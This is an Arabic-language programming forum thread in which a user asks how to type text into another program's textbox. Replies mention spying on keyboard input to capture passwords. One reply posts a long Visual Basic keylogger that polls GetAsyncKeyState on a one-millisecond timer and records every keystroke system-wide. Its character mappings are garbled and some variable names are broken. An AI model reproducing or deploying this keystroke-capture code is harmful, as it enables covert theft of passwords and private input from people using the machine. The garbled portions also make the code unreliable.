كيف يمكن الكتابة في برنامج يعمل عن طريق

حسب ما فهمت

1- ان تظهر كلةه في التكست بوك

text1.text="a"

2- ان تكون التكست غير ظاهره فتظهر

text1.visbal=true

لا انت ما فهمت علي انا بدي اكتب اي شي بتكست بوكس في برنا مج تاني غبر برنامجي

مو في برنا مجي مثلا ان يكون عندي زر عندما اكبسه يكتب في البرنامج التاني ما اريد

حصل استفهاام وشكراا جزيلا على الرد

:lol: :lol:

اذا كان البرنامجين بتوعك فالعملية سهلة ان تجعل الزر يودع ما تكتبه الى الحافضة والحافضة بدورها تنزله الى البرنامج الاخر

يمكن فهمت قصدك

إنت بدك تعمل برنامج تجسس على لوحة المفاتيح على أساس إذا واحد كتب كلمة السر تقدر تعرف شو هيه ومثل هيك برامج قديمة لآنها مستخدمه في ملفات الهاكرز مشان هيك كنت لما أجلس في مقهى إنترنت أكتب الباسوورد عن طريق الماوس من خلال الكيبورد الموجود في قائمة إبدأ .... إذا كان هذا طلبك إحكيلي خلني أبعثلك مثال فيه تجسس على كل عمليات الجهاز حتى حركة المؤشر والبرامج المفتوحه والأحداث المهمه طبعا زي هيك مثال بفيد مطوري البرامج بحيث إذا حدث خطأ يتم إرسال جميع الأحداث التي قام بها المستخدم ليتم معرفه السبب الحقيقي ومثل هذه الأمور تستخدمها شركة مايكروسوفت في برامجها حينما تصدر رساله إغلاق البرنامج أو إرسال الخطأ وأيضا ترسل رسائل بدون هذه الواسطه وهذا حقها لما ننزل نسخة ويندوز غير مرخصه فهم يعلمون ذلك ويستغلون هذه النقطه لتجربة برامجهم :) سلام

أطلع على الموضوع

/index.ph...topic=72192&hl=

أخي أظن أن المسألة سهلة مع دوال api

إليك هذا المثال :

ضع الأداة تايمر على الفورم و انسخ هذا الكود إلى الفورم :

Private Declare Function Getasynckeystate Lib "user32" Alias "GetAsyncKeyState" (ByVal VKEY As Long) As Integer
Private Const VK_CAPITAL = &H14
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer

Private Sub Form_Load()
Timer1.Interval = 1
End Sub

Private Sub Timer1_Timer()
Dim KeyState As Long
    Dim Shift As Long
    Shift = Getasynckeystate(vbKeyShift)
    
    KeyState = Getasynckeystate(vbKeyA)
    If (CAPSLOCKON = True And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Ô"
    If (CAPSLOCKON = False And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Ô"
    
    KeyState = Getasynckeystate(vbKeyB)
    If (CAPSLOCKON = True And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "áÇ"
    If (CAPSLOCKON = False And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "áÇ"
    
    KeyState = Getasynckeystate(vbKeyC)
    If (CAPSLOCKON = True And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Ä"
    If (CAPSLOCKON = False And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Ä"
    
    KeyState = Getasynckeystate(vbKeyD)
    If (CAPSLOCKON = True And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "í"
    If (CAPSLOCKON = False And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "í"
    
    KeyState = Getasynckeystate(vbKeyE)
    If (CAPSLOCKON = True And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Ë"
    If (CAPSLOCKON = False And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Ë"
    
    KeyState = Getasynckeystate(vbKeyF)
    If (CAPSLOCKON = True And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "È"
    If (CAPSLOCKON = False And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "È"
    
    KeyState = Getasynckeystate(vbKeyG)
    If (CAPSLOCKON = True And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "á"
    If (CAPSLOCKON = False And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "á"
    
    KeyState = Getasynckeystate(vbKeyH)
    If (CAPSLOCKON = True And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Ç"
    If (CAPSLOCKON = False And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Ç"
    
    KeyState = Getasynckeystate(vbKeyI)
    If (CAPSLOCKON = True And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "å"
    If (CAPSLOCKON = False And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "å"
    
    KeyState = Getasynckeystate(vbKeyJ)
    If (CAPSLOCKON = True And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Ê"
    If (CAPSLOCKON = False And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Ê"
   
    KeyState = Getasynckeystate(vbKeyK)
    If (CAPSLOCKON = True And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "ä"
    If (CAPSLOCKON = False And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "ä"
  
    KeyState = Getasynckeystate(vbKeyL)
    If (CAPSLOCKON = True And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "ã"
    If (CAPSLOCKON = False And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "ã"
    
    KeyState = Getasynckeystate(vbKeyM)
    If (CAPSLOCKON = True And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "É"
    If (CAPSLOCKON = False And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "É"

    KeyState = Getasynckeystate(vbKeyN)
    If (CAPSLOCKON = True And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "ì"
    If (CAPSLOCKON = False And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "ì"
    
    KeyState = Getasynckeystate(vbKeyO)
    If (CAPSLOCKON = True And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Î"
    If (CAPSLOCKON = False And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Î"
    
    KeyState = Getasynckeystate(vbKeyP)
    If (CAPSLOCKON = True And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Í"
    If (CAPSLOCKON = False And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Í"
    
    KeyState = Getasynckeystate(vbKeyQ)
    If (CAPSLOCKON = True And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Ö"
    If (CAPSLOCKON = False And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Ö"
    
    KeyState = Getasynckeystate(vbKeyR)
    If (CAPSLOCKON = True And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Þ"
    If (CAPSLOCKON = False And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Þ"

    KeyState = Getasynckeystate(vbKeyS)
    If (CAPSLOCKON = True And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Ó"
    If (CAPSLOCKON = False And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Ó"
  
    KeyState = Getasynckeystate(vbKeyT)
    If (CAPSLOCKON = True And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Ý"
    If (CAPSLOCKON = False And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Ý"
    
    KeyState = Getasynckeystate(vbKeyU)
    If (CAPSLOCKON = True And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Ú"
    If (CAPSLOCKON = False And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Ú"
    
    KeyState = Getasynckeystate(vbKeyV)
    If (CAPSLOCKON = True And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Ñ"
    If (CAPSLOCKON = False And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Ñ"
    
    KeyState = Getasynckeystate(vbKeyW)
    If (CAPSLOCKON = True And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Õ"
    If (CAPSLOCKON = False And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Õ"
    
    KeyState = Getasynckeystate(vbKeyX)
    If (CAPSLOCKON = True And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Á"
    If (CAPSLOCKON = False And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Á"
    
    KeyState = Getasynckeystate(vbKeyY)
    If (CAPSLOCKON = True And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Û"
    If (CAPSLOCKON = False And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Û"
    
    KeyState = Getasynckeystate(vbKeyZ)
    If (CAPSLOCKON = True And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = False And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Æ"
    If (CAPSLOCKON = False And Shift = 0 And (KeyState And &H1) = &H1) Or (CAPSLOCKON = True And Shift <> 0 And (KeyState And &H1) = &H1) Then Text5 = Text5 + "Æ"
   
    KeyState = Getasynckeystate(vbKey1)
    If Shift = 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "1"
    If Shift <> 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "!"
    
    KeyState = Getasynckeystate(vbKey2)
    If Shift = 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "2"
    If Shift <> 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "@"
    
    KeyState = Getasynckeystate(vbKey3)
    If Shift = 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "3"
    If Shift <> 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "#"
    
    KeyState = Getasynckeystate(vbKey4)
    If Shift = 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "4"
    If Shift <> 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "$"
    
    KeyState = Getasynckeystate(vbKey5)
    If Shift = 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "5"
    If Shift <> 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "%"
    
    KeyState = Getasynckeystate(vbKey6)
    If Shift = 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "6"
    If Shift <> 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "^"
    
    KeyState = Getasynckeystate(vbKey7)
    If Shift = 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "7"
    If Shift <> 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "&"
    
    KeyState = Getasynckeystate(vbKey8)
    If Shift = 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "8"
    If Shift <> 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "*"
    
    KeyState = Getasynckeystate(vbKey9)
    If Shift = 0 And (KeyState And &H1) = &H1 Then Text1 = Text1 + "9"
    If Shift <> 0 And (KeyState And &H1) = &H1 Then Text1 = Text1 + "("
    
    KeyState = Getasynckeystate(vbKey0)
    If Shift = 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "0"
    If Shift <> 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + ")"
    
    KeyState = Getasynckeystate(vbKeyBack)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "  "
    
    KeyState = Getasynckeystate(vbKeyTab)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "[tab]"
       
    KeyState = Getasynckeystate(vbKeyReturn)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + vbCrLf
       
    KeyState = Getasynckeystate(vbKeyShift)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "[shift]"
       
    KeyState = Getasynckeystate(vbKeyControl)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "[ctrl]"
       
    KeyState = Getasynckeystate(vbKeyMenu)
    If (KeyState And &H1) = &H1 Then Text15 = Text5 + "[alt]"
       
    KeyState = Getasynckeystate(vbKeyPause)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "[pause]"
       
    KeyState = Getasynckeystate(vbKeyEscape)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "[esc]"
       
    KeyState = Getasynckeystate(vbKeySpace)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + " "
       
    KeyState = Getasynckeystate(vbKeyEnd)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "[end]"
       
    KeyState = Getasynckeystate(vbKeyHome)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "[home]"
    
    KeyState = Getasynckeystate(vbKeyLeft)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + ""
    
    KeyState = Getasynckeystate(vbKeyRight)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + ""
    
    KeyState = Getasynckeystate(vbKeyUp)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "[up]"
       
    KeyState = Getasynckeystate(vbKeyDown)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "[down]"
    
    KeyState = Getasynckeystate(vbKeyInsert)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "[insert]"
    
    KeyState = Getasynckeystate(vbKeyDelete)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "[Delete]"
    
    KeyState = Getasynckeystate(&HBA)
    If Shift = 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "ß"
    If Shift <> 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "ß"
         
    KeyState = Getasynckeystate(&HBB)
    If Shift = 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "="
    If Shift <> 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "+"
    
    KeyState = Getasynckeystate(&HBC)
    If Shift = 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "æ"
    If Shift <> 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "æ"
    
    KeyState = Getasynckeystate(&HBD)
    If Shift = 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "-"
    If Shift <> 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "_"
    
    KeyState = Getasynckeystate(&HBE)
    If Shift = 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "Ò"
    If Shift <> 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "Ò"
    
    KeyState = Getasynckeystate(&HBF)
    If Shift = 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "Ù"
    If Shift <> 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "Ù"
   
    KeyState = Getasynckeystate(&HC0)
    If Shift = 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "Ð"
    If Shift <> 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "Ð"
    
    KeyState = Getasynckeystate(&HDB)
    If Shift = 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "Ì"
    If Shift <> 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "Ï"
    
    KeyState = Getasynckeystate(&HDC)
    If Shift = 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "\"
    If Shift <> 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "|"
    
    KeyState = Getasynckeystate(&HDD)
    If Shift = 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "Ï"
    If Shift <> 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "Ï"
    
    KeyState = Getasynckeystate(&HDE)
    If Shift = 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + "Ø"
    If Shift <> 0 And (KeyState And &H1) = &H1 Then Text5 = Text5 + Chr$(34)
    
    KeyState = Getasynckeystate(vbKeyMultiply)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "*"
    
    KeyState = Getasynckeystate(vbKeyDivide)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "/"
    
    KeyState = Getasynckeystate(vbKeyAdd)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "+"
       
    KeyState = Getasynckeystate(vbKeySubtract)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "-"
       
    KeyState = Getasynckeystate(vbKeyDecimal)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "[Del]"
       
    KeyState = Getasynckeystate(vbKeyF1)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "[F1]"
       
    KeyState = Getasynckeystate(vbKeyF2)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "[F2]"
       
    KeyState = Getasynckeystate(vbKeyF3)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "[F3]"
       
    KeyState = Getasynckeystate(vbKeyF4)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "[F4]"
       
    KeyState = Getasynckeystate(vbKeyF5)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "[F5]"
       
    KeyState = Getasynckeystate(vbKeyF6)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "[F6]"
    
    KeyState = Getasynckeystate(vbKeyF7)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "[F7]"
       
    KeyState = Getasynckeystate(vbKeyF8)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "[F8]"
       
    KeyState = Getasynckeystate(vbKeyF9)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "[F9]"
       
    KeyState = Getasynckeystate(vbKeyF10)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "[F10]"
       
    KeyState = Getasynckeystate(vbKeyF11)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "[F11]"
       
    KeyState = Getasynckeystate(vbKeyF12)
    If Shift = 0 And (KeyState And &H1) = &H1 Then Text5 = Text51 + "[F12]"
    
    KeyState = Getasynckeystate(vbKeyNumlock)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "[NumLock]"
    
    KeyState = Getasynckeystate(vbKeyScrollLock)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "[ScrollLock]"
        
    KeyState = Getasynckeystate(vbKeyPrint)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "[PrintScreen]"

    KeyState = Getasynckeystate(vbKeyPageUp)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "[PageUp]"
    
    KeyState = Getasynckeystate(vbKeyPageDown)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "[Pagedown]"
    
    KeyState = Getasynckeystate(vbKeyNumpad1)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "1"

    KeyState = Getasynckeystate(vbKeyNumpad2)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "2"
    
    KeyState = Getasynckeystate(vbKeyNumpad3)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "3"
    
    KeyState = Getasynckeystate(vbKeyNumpad4)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "4"
    
    KeyState = Getasynckeystate(vbKeyNumpad5)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "5"
    
    KeyState = Getasynckeystate(vbKeyNumpad6)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "6"
             
    KeyState = Getasynckeystate(vbKeyNumpad7)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "7"
    
    KeyState = Getasynckeystate(vbKeyNumpad8)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "8"
    
    KeyState = Getasynckeystate(vbKeyNumpad9)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "9"
    
    KeyState = Getasynckeystate(vbKeyNumpad0)
    If (KeyState And &H1) = &H1 Then Text5 = Text5 + "0"
    
    
End Sub

و أرجو من الأخوة الأعضاء شرح كيفية ارسال نص من برنامج إلى أي صندوق نص في أي برنامج موجود على الجهاز مثل طريقة معرفة كلمة السر التي على هيئة نجوم و لكني أريد بدل تغيير الخاصية PasswordChar تغيير الخاصية text لصندوق النص المحدد بعبارة موجودة في البرنامج

و شكرا

او باستخدام دالة sendkeys

appactivate "البرنامج اللي تريد تكتب فيه"

sendkeys"ما تريد ان تكتب"

شكرا على الرد جزيل الشكر

و يا اخ غولدن مان بس هذا الكود بدي حطو بتايمر فهمت بس شو هو كود الي بدي اكتبو بل الكوماند حتى يكتب بل التكست بوكس تبع البرنا مج الي انا فاتحو

وسؤال اذا كنت فاتح اكثر من برنامج فيه تكست بوكس ماذا افعل؟؟؟؟؟؟؟؟؟!!!!!!!!!!!!!!!!!!!!

أخي هذا البرنامج لا يرسل الأحرف إلى البرامج الأخرى بل يأخذ جميع الأحرف المضغوطة و نسخها إلى برنامجك هذا ولكي ترسل الكتابة إلى برامج أخرى يجب عليك استخدام دالة sendkeys و أنا سوف أقوم بعمل برنامج مصغر لهذه الفكرة و لكن الدراسة كثيرة هالأيام (لأنو الفحص قرب)

إن شاء الله نتعاون على عمل هذا البرنامج قريبا

و شكرا